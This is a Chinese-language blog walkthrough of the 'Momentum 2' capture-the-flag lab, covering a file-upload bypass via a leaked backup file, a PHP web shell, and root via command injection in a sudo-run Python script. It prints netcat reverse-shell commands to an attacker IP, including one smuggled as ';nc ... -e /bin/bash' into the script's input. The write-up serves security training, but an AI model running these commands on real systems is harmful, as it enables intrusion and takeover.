Momentum 2

Momentum 2

Posted by Kyon-H on July 19, 2025

1. 信息收集

扫描IP 发现 192.168.163.131

image.png

扫描端口,开发80、22端口

image.png

扫描目录

image.png

查看站点,/manual发现文件上传

image.png

相关js代码,向ajax.php发送数据,返回1代表成功

image.png

目录扫描发现 ajax.php.bak文件

image.png

根据代码,需要添加cookie,且最后一位追加大写字母,设置参数 secure值为 val1d,则可以上传php文件

1
admin=&G6u@B6uDXMq&Ms

bp测试,发现为字符 R

image.png

image.png

成功上传 shell.php文件,7kbscan扫描目录发现 /owls/

image.png

确定脚本位置: http://192.168.163.131/owls/shell.php ,使用蚁剑连接

2. 反弹shell

1
nc -nv 192.168.163.132 -e /bin/bash

image.png

查看 /etc/passwd发现用户athena

image.png

查看home目录,发现多个文本文件,一个脚本文件

image.png

获取第一个flag

image.png

3. 提权

获取密码:myvulnerableapp[Asterisk] Asterisk为星号

image.png

发现提示,要执行 cookie-gen.py脚本

image.png

查看脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
import os
import subprocess

print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")
random.seed = seed

cookie = ''
for c in range(20):
    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)

最后一行命令会启动一个shell进程来解析cmd字符串,cmd字符串中包含了用户输入的内容

使用密码:myvulnerableapp*,登录 athena成功,发现可用/usr/bin/python3 /home/team-tasks/cookie-gen.py提权

image.png

1
2
3
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
# 输入反弹shell代码
;nc -nv 192.168.163.132 5555 -e /bin/bash

反弹成功

image.png

提权成功

image.png